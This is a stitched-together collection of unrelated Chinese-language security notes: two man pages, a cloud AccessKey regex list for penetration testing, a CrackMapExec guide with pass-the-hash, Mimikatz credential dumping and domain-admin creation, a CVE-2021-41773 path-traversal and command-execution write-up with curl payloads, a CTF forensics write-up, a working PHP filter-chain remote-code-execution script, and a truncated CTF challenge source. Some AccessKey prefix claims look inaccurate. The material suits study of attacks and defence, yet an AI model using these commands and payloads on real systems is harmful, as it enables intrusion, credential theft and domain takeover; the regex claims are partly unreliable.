.TP
\fB\-c\fP, \fB\-\-changes\fP
类似 verbose 选项,但只在做出修改时进行报告
.TP
\fB\-f\fP, \fB\-\-silent\fP, \fB\-\-quiet\fP
隐藏大多数错误信息
.TP
\fB\-v\fP, \fB\-\-verbose\fP
对每一个处理的文件输出诊断信息
.TP
\fB\-\-no\-preserve\-root\fP
不要对“/”特别对待(默认)
.TP
\fB\-\-preserve\-root\fP
不要在“/”下进行递归操作
.TP
\fB\-\-reference\fP=\fI\,参考文件\/\fP
使用参考文件的模式作为具体模式值
.TP
\fB\-R\fP, \fB\-\-recursive\fP
递归修改文件和目录
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
每个模式字符串都应该匹配如下格式:"[ugoa]*([\-+=]([rwxXst]*|[ugo]))+|[\-+=][0\-7]+"。
.SH 作者
由 David MacKenzie 和 Jim Meyering 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
\fBchmod\fP(2)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/chmod>
.br
或者在本地使用: info \(aq(coreutils) chmod invocation\(aq
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "PG_CONTROLDATA" "1" "2003-11-02" "Application" "PostgreSQL Server Applications"
.SH NAME
pg_controldata \- 显示一个 PostgreSQL 集群的控制信息
.SH SYNOPSIS
.sp
\fBpg_controldata\fR\fR [ \fR\fB\fIdatadir\fB \fR\fR]\fR
.SH "DESCRIPTION 描述"
.PP
\fBpg_controldata\fR 打印那些在 initdb 过程中初始化的信息,比如表版本和服务器的区域等。它还显示有关预写日志和检查点处理相关的信息。 这些信息是集群范围内有效的,并不和某个数据库相关。
.PP
这个命令只应该有安装服务器的用户运行,因为它要求对数据目录的读访问权限。 你可以在命令行上声明数据目录,或者使用环境变量 \fBPGDATA\fR。
.SH "ENVIRONMENT 环境"
.TP
\fBPGDATA\fR
缺省数据目录位置
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
---
title: AccessKey 特征整理
---
<center><h1>云业务 AccessKey 标识特征整理</h1><b>本文作者:曾哥</b><br><br></center>
---
对于云场景的渗透,现在已经层出不穷,获得AK和SK,也是云安全渗透中重要的一环。
通常,我们会在一些敏感的配置文件或者通过未授权访问、任意文件读取漏洞等方式,来寻找AK和SK。
但市面上,通过正则匹配式来寻找AK和SK的,如下:
```css
(?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z\-_=]{8,64})['\"]
```
但这是通过匹配 AccessKey 开头的内容,比如 `access_token:AKID1AS893JF90AWK` 中 `access_token` 这个开头来进行正则匹配的,但如果没有这样的开头呢?那我们要怎么办?
那这里我就将不同厂商的 `Access Key` 内容特征,分别整理出来,欢迎各位师傅补充和纠错哈哈 ~
同时也能够根据不同厂商 Key 的不同特征,直接能判断出这是哪家厂商的 `Access Key` ,从而针对性进行渗透测试。
## Amazon Web Services
亚马逊云计算服务 (Amazon Web Services, AWS) 的 Access Key 开头标识一般是 "AKIA"。
```css
^AKIA[A-Za-z0-9]{16}$
```
- Access Key ID: 20个随机的大写字母和数字组成的字符,例如 AKHDNAPO86BSHKDIRYTE
- Secret Access Key ID: 40个随机的大小写字母组成的字符,例如 S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU(无法找回丢失的 Secret Access Key ID)。
## Google Cloud Platform
Google Cloud Platform (GCP) 的 Access Key 开头标识一般是 "GOOG"。
```css
^GOOG[\w\W]{10,30}$
```
- 服务账号的JSON文件中包含了Access Key和密钥的信息,其中Access Key为`client_email`,其长度不固定,由字母、数字和特殊字符组成。
- 密钥(Key)的长度为256个字符,由字母、数字和特殊字符组成。
## Microsoft Azure
Microsoft Azure 的 Access Key 开头标识一般是 "AZ"。
```css
^AZ[A-Za-z0-9]{34,40}$
```
- Azure AD Application的Client ID通常用作Access Key,长度为36个字符,由字母和数字组成。
- 对于Azure AD Application的密钥(Secret),长度为44个字符,由字母、数字和特殊字符组成。
## IBM Cloud
IBM 云 (IBM Cloud) 的 Access Key 开头标识一般是 "IBM"。
```css
^IBM[A-Za-z0-9]{10,40}$
```
## Oracle Cloud
Oracle云 (Oracle Cloud) 的 Access Key 开头标识一般是 "OCID"。
```css
^OCID[A-Za-z0-9]{10,40}$
```
## 阿里云
阿里云 (Alibaba Cloud) 的 Access Key 开头标识一般是 "LTAI"。
```css
^LTAI[A-Za-z0-9]{12,20}$
```
- Access Key ID长度为16-24个字符,由大写字母和数字组成。
- Access Key Secret长度为30个字符,由大写字母、小写字母和数字组成。
## 腾讯云
腾讯云 (Tencent Cloud) 的 Access Key 开头标识一般是 "AKID"。
```css
^AKID[A-Za-z0-9]{13,20}$
```
- SecretId长度为17个字符,由字母和数字组成。
- SecretKey长度为40个字符,由字母和数字组成。
## 华为云
华为云 (Huawei Cloud) 的 Access Key 开头标识一般是 "AK"。
```css
^AK[\w\W]{10,62}$
```
- Access Key ID长度为64个字符,由字母、数字和特殊字符组成。
- Secret Access Key长度为44个字符,由字母、数字和特殊字符组成。
## 百度云
百度云 (Baidu Cloud) 的 Access Key 开头标识一般是 "AK"。
```css
^AK[A-Za-z0-9]{10,40}$
```
## 京东云
京东云 (JD Cloud) 的 Access Key 开头标识一般是 "AK"。
```css
^AK[A-Za-z0-9]{10,40}$
```
## UCloud
UCloud (UCloud) 的 Access Key 开头标识一般是 "UC"
```css
^UC[A-Za-z0-9]{10,40}$
```
## 青云
青云 (QingCloud) 的 Access Key 开头标识一般是 "QY"。
```css
^QY[A-Za-z0-9]{10,40}$
```
## 金山云
金山云 (Kingsoft Cloud) 的 Access Key 开头标识一般是 "KS3"。
```css
^KS3[A-Za-z0-9]{10,40}$
```
## 联通云
联通云 (China Unicom Cloud) 的 Access Key 开头标识一般是 "LTC"。
```css
^LTC[A-Za-z0-9]{10,60}$
```
## 移动云
移动云 (China Mobile Cloud) 的 Access Key 开头标识一般是 "YD"。
```css
^YD[A-Za-z0-9]{10,60}$
```
## 电信云
中国电信云 (China Telecom Cloud) 的 Access Key 开头标识一般是 "CTC"。
```css
^CTC[A-Za-z0-9]{10,60}$
```
## 一云通
一云通 (Yonyou Cloud) 的 Access Key 开头标识一般是 "YYT"。
```css
^YYT[A-Za-z0-9]{10,60}$
```
## 用友云
用友云 (Yonyou Cloud) 的 Access Key 开头标识一般是 "YY"。
```css
^YY[A-Za-z0-9]{10,40}$
```
## 南大通用云
南大通用云 (OUCDC) 的 Access Key 开头标识一般是 "CI"。
```css
^CI[A-Za-z0-9]{10,40}$
```
## G-Core Labs
G-Core Labs 的 Access Key 开头标识一般是 "gcore"
```css
^gcore[A-Za-z0-9]{10,30}$
```
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2023 年 7 月 16 日"
}
}
</script>
|
sec-knowleage
|
##CrackMapExec
[CrackMapExec (简称CME)](https://github.com/byt3bl33d3r/CrackMapExec/wiki)是一个后渗透工具,其主要用来评估大型活动目录网络的安全性。CME使用了尽可能隐匿自己的技术开发,可绕过IDS/IPS等防御手段。
byt3bl33d3r已经详细的解释过CME的相关功能,本文不再累述,直接引用其中的命令。
```
> crackmapexec smb 10.10.10.52 -u demonas -p 'M374L_P@ssW0rd!'
SMB 10.10.10.52 445 EMPEROR [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:EMPEROR) (domain:KVLT) (signing:True) (SMBv1:True)
SMB 10.10.10.52 445 EMPEROR [+] KVLT\demonas:M374L_P@ssW0rd!
```
```
> crackmapexec smb 10.10.10.1/24 -u demonas -p 'M374L_P@ssW0rd!' --pass-pol
SMB 10.10.10.52 445 EMPEROR [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:EMPEROR) (domain:KVLT) (signing:True) (SMBv1:True)
SMB 10.10.10.40 445 FREEZING-MOON [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:FREEZING-MOON) (domain:FREEZING-MOON) (signing:False) (SMBv1:True)
SMB 10.10.10.59 445 MAYHEM [*] Windows Server 2016 Standard 14393 x64 (name:MAYHEM) (domain:MAYHEM) (signing:False) (SMBv1:True)
SMB 10.10.10.52 445 EMPEROR [+] KVLT\demonas:M374L_P@ssW0rd!
SMB 10.10.10.40 445 FREEZING-MOON [+] FREEZING-MOON\demonas:M374L_P@ssW0rd!
SMB 10.10.10.59 445 MAYHEM [-] MAYHEM\demonas:M374L_P@ssW0rd! STATUS_LOGON_FAILURE
SMB 10.10.10.52 445 EMPEROR [+] Dumping password info for domain: KVLT
SMB 10.10.10.52 445 EMPEROR Minimum password length: 7
SMB 10.10.10.52 445 EMPEROR Password history length: 24
SMB 10.10.10.52 445 EMPEROR Maximum password age:
SMB 10.10.10.52 445 EMPEROR
SMB 10.10.10.52 445 EMPEROR Password Complexity Flags: 000001
SMB 10.10.10.52 445 EMPEROR Domain Refuse Password Change: 0
SMB 10.10.10.52 445 EMPEROR Domain Password Store Cleartext: 0
SMB 10.10.10.52 445 EMPEROR Domain Password Lockout Admins: 0
SMB 10.10.10.52 445 EMPEROR Domain Password No Clear Change: 0
SMB 10.10.10.52 445 EMPEROR Domain Password No Anon Change: 0
SMB 10.10.10.52 445 EMPEROR Domain Password Complex: 1
SMB 10.10.10.52 445 EMPEROR
SMB 10.10.10.52 445 EMPEROR Minimum password age:
SMB 10.10.10.52 445 EMPEROR Reset Account Lockout Counter: 30 minutes
SMB 10.10.10.52 445 EMPEROR Locked Account Duration: 30 minutes
SMB 10.10.10.52 445 EMPEROR Account Lockout Threshold: None
SMB 10.10.10.52 445 EMPEROR Forced Log off Time: Not Set
SMB 10.10.10.3 445 FUNERAL-FOG [*] Unix (name:FUNERAL-FOG) (domain:FUNERAL-FOG) (signing:False) (SMBv1:True)
SMB 10.10.10.3 445 FUNERAL-FOG [-] FUNERAL-FOG\demonas:M374L_P@ssW0rd! STATUS_LOGON_FAILURE
```
```
> crackmapexec smb 10.10.10.59 -u Sathanas -p 'DeMysteriisDomSathanas!' --shares
SMB 10.10.10.59 445 MAYHEM [*] Windows Server 2016 Standard 14393 x64 (name:MAYHEM) (domain:MAYHEM) (signing:False) (SMBv1:True)
SMB 10.10.10.59 445 MAYHEM [+] MAYHEM\Sathanas:DeMysteriisDomSathanas!
SMB 10.10.10.59 445 MAYHEM [+] Enumerated shares
SMB 10.10.10.59 445 MAYHEM Share Permissions Remark
SMB 10.10.10.59 445 MAYHEM ----- ----------- ------
SMB 10.10.10.59 445 MAYHEM ACCT READ
SMB 10.10.10.59 445 MAYHEM ADMIN$ Remote Admin
SMB 10.10.10.59 445 MAYHEM C$ Default share
SMB 10.10.10.59 445 MAYHEM IPC$
```
###Pass the Hash
```
kali :: ~ # cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e --local-auth 2 ↵
SMB 10.8.14.14 445 SQL01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:SQL01) (domain:SQL01) (signing:False) (SMBv1:True)
SMB 10.8.14.14 445 SQL01 [+] SQL01\Administrator aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e (Pwn3d!)
```
###CME与用户散列对我们的子网:
```
kali :: ~ # cme smb 10.8.14.0/24 -u maniac -H e045c10921635ee21d6bd3b3f64a416f
SMB 10.8.14.12 445 MX01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:MX01) (domain:LAB) (signing:True) (SMBv1:True)
SMB 10.8.14.15 445 WEB01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:WEB01) (domain:LAB) (signing:False) (SMBv1:True)
SMB 10.8.14.10 445 DC01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:LAB) (signing:True) (SMBv1:True)
SMB 10.8.14.11 445 FS01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:FS01) (domain:LAB) (signing:False) (SMBv1:True)
SMB 10.8.14.14 445 SQL01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:SQL01) (domain:LAB) (signing:False) (SMBv1:True)
SMB 10.8.14.17 445 RDS02 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RDS02) (domain:LAB) (signing:False) (SMBv1:True)
SMB 10.8.14.12 445 MX01 [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f (Pwn3d!)
SMB 10.8.14.15 445 WEB01 [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f
SMB 10.8.14.10 445 DC01 [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f
SMB 10.8.14.11 445 FS01 [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f
SMB 10.8.14.14 445 SQL01 [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f
SMB 10.8.14.17 445 RDS02 [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f
```
###Shares监视
```
kali :: ~ # cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e --local-auth --shares
SMB 10.8.14.14 445 SQL01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:SQL01) (domain:SQL01) (signing:False) (SMBv1:True)
SMB 10.8.14.14 445 SQL01 [+] SQL01\Administrator aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e (Pwn3d!)
SMB 10.8.14.14 445 SQL01 [+] Enumerated shares
SMB 10.8.14.14 445 SQL01 Share Permissions Remark
SMB 10.8.14.14 445 SQL01 ----- ----------- ------
SMB 10.8.14.14 445 SQL01 ADMIN$ READ,WRITE Remote Admin
SMB 10.8.14.14 445 SQL01 C$ READ,WRITE Default share
SMB 10.8.14.14 445 SQL01 IPC$ Remote IPC
```
###Mimikatz
```
kali :: ~ # cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e --local-auth -M mimikatz
SMB 10.8.14.14 445 SQL01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:SQL01) (domain:SQL01) (signing:False) (SMBv1:True)
SMB 10.8.14.14 445 SQL01 [+] SQL01\Administrator aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e (Pwn3d!)
MIMIKATZ 10.8.14.14 445 SQL01 [+] Executed launcher
MIMIKATZ [*] Waiting on 1 host(s)
MIMIKATZ 10.8.14.14 [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ [*] Waiting on 1 host(s)
MIMIKATZ [*] Waiting on 1 host(s)
MIMIKATZ [*] Waiting on 1 host(s)
MIMIKATZ [*] Waiting on 1 host(s)
MIMIKATZ 10.8.14.14 [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ 10.8.14.14 lab\maniac:e045c10921635ee21d6bd3b3f64a416f
MIMIKATZ 10.8.14.14 LAB\maniac:e045c10921635ee21d6bd3b3f64a416f
MIMIKATZ 10.8.14.14 LAB\SQL01$:5ad23d25ce4e58d242be7e4acb73fc4d
MIMIKATZ 10.8.14.14 [+] Added 3 credential(s) to the database
MIMIKATZ 10.8.14.14 [*] Saved raw Mimikatz output to Mimikatz-10.8.14.14-2018-11-22_122819.log
```
###以域管理员的权限执行命令(创建一个新用户并将其添加到域管理员组):
```
kali :: ~ # cme smb 10.8.14.10 -u dead -H 49a074a39dd0651f647e765c2cc794c7 -X "net user Cat Qwert123!@#$ /add /domain"
SMB 10.8.14.10 445 DC01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:LAB) (signing:True) (SMBv1:True)
SMB 10.8.14.10 445 DC01 [+] LAB\dead 49a074a39dd0651f647e765c2cc794c7 (Pwn3d!)
SMB 10.8.14.10 445 DC01 [+] Executed command
```
```
kali :: ~ # cme smb 10.8.14.10 -u dead -H 49a074a39dd0651f647e765c2cc794c7 -X 'net group "Domain Admins" /add Cat /domain' 2 ↵
SMB 10.8.14.10 445 DC01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:LAB) (signing:True) (SMBv1:True)
SMB 10.8.14.10 445 DC01 [+] LAB\dead 49a074a39dd0651f647e765c2cc794c7 (Pwn3d!)
SMB 10.8.14.10 445 DC01 [+] Executed command
```
|
sec-knowleage
|
import base64
print base64.b64decode("".
join([chr(int(x, 8)) for x in open("README.txt").read().split(" ")]))
|
sec-knowleage
|
# Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
- 版本等于2.4.49
- 穿越的目录允许被访问,比如配置了`<Directory />Require all granted</Directory>`。(默认情况下是不允许的)
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
参考链接:
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://twitter.com/ptswarm/status/1445376079548624899
- https://twitter.com/HackerGautam/status/1445412108863041544
- https://twitter.com/snyff/status/1445565903161102344
## 漏洞环境
执行如下命令编译及运行一个存在漏洞的Apache HTTPd 2.4.49版本服务器:
```
docker compose build
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到Apache默认的`It works!`页面。
## 漏洞利用
使用如下CURL命令来发送Payload(注意其中的`/icons/`必须是一个存在且可访问的目录):
```
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
可见,成功读取到`/etc/passwd`:

在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
```
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
```

|
sec-knowleage
|
## Blocks (Forensics, 400p)
I recovered as much data as I could. Can you recover the flag?
Download data3
###ENG
[PL](#pl-version)
Let's look at hexdump of the file. It contains some SQL-like text:
```
00000220 00 00 00 81 14 04 07 17 15 15 01 82 0b 74 61 62 |.............tab|
00000230 6c 65 64 61 74 61 64 61 74 61 05 43 52 45 41 54 |ledatadata.CREAT|
00000240 45 20 54 41 42 4c 45 20 22 64 61 74 61 22 20 28 |E TABLE "data" (|
00000250 0a 09 60 49 44 60 09 49 4e 54 45 47 45 52 20 4e |..`ID`.INTEGER N|
00000260 4f 54 20 4e 55 4c 4c 20 50 52 49 4d 41 52 59 20 |OT NULL PRIMARY |
```
It looks like database dump, but sqlite3 doesn't want to work with it. After investigation, it seems that file magic is
missing. Patching the file allows us to work with the database. Let's look at contents:
```
SQLite version 3.8.11.1 2015-07-29 20:00:57
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open dat
sqlite> .tables
category data
sqlite> .schema category
CREATE TABLE `category` (
`ID` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,
`Cat` TEXT NOT NULL
);
sqlite> SELECT * FROM category;
1|CHRM
2|IDAT
3|ICCP
4|IHDR
5|TEXT
6|TIME
7|PLTE
8|TRNS
sqlite> .schema data
CREATE TABLE "data" (
`ID` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,
`Data` BLOB NOT NULL,
`Cat` INTEGER NOT NULL
);
sqlite> SELECT ID, Cat FROM data;
1|2
2|2
3|2
4|2
5|2
6|7
7|4
8|2
9|2
10|2
11|2
12|8
13|2
14|2
```
It seems like a PNG file was saved in the database. Unfortunately the chunks are in parts - the most important, IDAT
chunk is in 11 parts. Concatenating them in the most obvious order doesn't work, so we had to bruteforce it - after
all it's only `11!` or `39,916,800` combinations. Using `getblobs.sh`, `doit.py` and `to_image.py` in this order, we
were able to get image, containing flag.
###PL version
Obejrzyjmy hexdump pliku. Zawiera tekst podobny do SQLa:
```
00000220 00 00 00 81 14 04 07 17 15 15 01 82 0b 74 61 62 |.............tab|
00000230 6c 65 64 61 74 61 64 61 74 61 05 43 52 45 41 54 |ledatadata.CREAT|
00000240 45 20 54 41 42 4c 45 20 22 64 61 74 61 22 20 28 |E TABLE "data" (|
00000250 0a 09 60 49 44 60 09 49 4e 54 45 47 45 52 20 4e |..`ID`.INTEGER N|
00000260 4f 54 20 4e 55 4c 4c 20 50 52 49 4d 41 52 59 20 |OT NULL PRIMARY |
```
Wygląda to na zserializowaną bazę danych, ale sqlite3 nie chce z nią pracować. Okazuje się, że brakuje magii w pliku.
Po spatchowaniu danych, możemy pracować. Spójrzmy na zawartość:
```
SQLite version 3.8.11.1 2015-07-29 20:00:57
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open dat
sqlite> .tables
category data
sqlite> .schema category
CREATE TABLE `category` (
`ID` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,
`Cat` TEXT NOT NULL
);
sqlite> SELECT * FROM category;
1|CHRM
2|IDAT
3|ICCP
4|IHDR
5|TEXT
6|TIME
7|PLTE
8|TRNS
sqlite> .schema data
CREATE TABLE "data" (
`ID` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,
`Data` BLOB NOT NULL,
`Cat` INTEGER NOT NULL
);
sqlite> SELECT ID, Cat FROM data;
1|2
2|2
3|2
4|2
5|2
6|7
7|4
8|2
9|2
10|2
11|2
12|8
13|2
14|2
```
Wygląda na to, że ukryto w bazie plik PNG. Niestety chunki są w kawałkach - w szczególności, chunk IDAT jest w 11
częściach. Połączenie ich w oczywisty sposób nie działa, więc kolejność musieliśmy wybrutować - to ostatecznie tylko
`11!`, czyli `39,916,800` kombinacji. Odpalając `getblobs.sh`, `doit.py` oraz `to_image.py` w tej kolejności, po
parunastu minutach brutowania dostaliśmy obrazek z flagą.
|
sec-knowleage
|
import requests
url = "http://localhost:8000/chall.php"
file_to_use = "/etc/passwd"
command = "id"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
with open('payload', 'w') as f:
f.write(final_payload)
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
|
sec-knowleage
|
# roulette
General Skills, 350 points
## Description:
> This Online Roulette Service is in Beta. Can you find a way to win $1,000,000,000 and get the flag?
```c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <limits.h>
#define MAX_NUM_LEN 12
#define HOTSTREAK 3
#define MAX_WINS 16
#define ONE_BILLION 1000000000
#define ROULETTE_SIZE 36
#define ROULETTE_SPINS 128
#define ROULETTE_SLOWS 16
#define NUM_WIN_MSGS 10
#define NUM_LOSE_MSGS 5
long cash = 0;
long wins = 0;
int is_digit(char c) {
return '0' <= c && c <= '9';
}
long get_long() {
printf("> ");
uint64_t l = 0;
char c = 0;
while(!is_digit(c))
c = getchar();
while(is_digit(c)) {
if(l >= LONG_MAX) {
l = LONG_MAX;
break;
}
l *= 10;
l += c - '0';
c = getchar();
}
while(c != '\n')
c = getchar();
return l;
}
long get_rand() {
long seed;
FILE *f = fopen("/dev/urandom", "r");
fread(&seed, sizeof(seed), 1, f);
fclose(f);
seed = seed % 5000;
if (seed < 0) seed = seed * -1;
srand(seed);
return seed;
}
long get_bet() {
while(1) {
puts("How much will you wager?");
printf("Current Balance: $%lu \t Current Wins: %lu\n", cash, wins);
long bet = get_long();
if(bet <= cash) {
return bet;
} else {
puts("You can't bet more than you have!");
}
}
}
long get_choice() {
while (1) {
printf("Choose a number (1-%d)\n", ROULETTE_SIZE);
long choice = get_long();
if (1 <= choice && choice <= ROULETTE_SIZE) {
return choice;
} else {
puts("Please enter a valid choice.");
}
}
}
int print_flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Failed to open the flag file\n");
return -1;
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
const char *win_msgs[NUM_WIN_MSGS] = {
"Wow.. Nice One!",
"You chose correct!",
"Winner!",
"Wow, you won!",
"Alright, now you're cooking!",
"Darn.. Here you go",
"Darn, you got it right.",
"You.. win.. this round...",
"Congrats!",
"You're not cheating are you?",
};
const char *lose_msgs1[NUM_LOSE_MSGS] = {
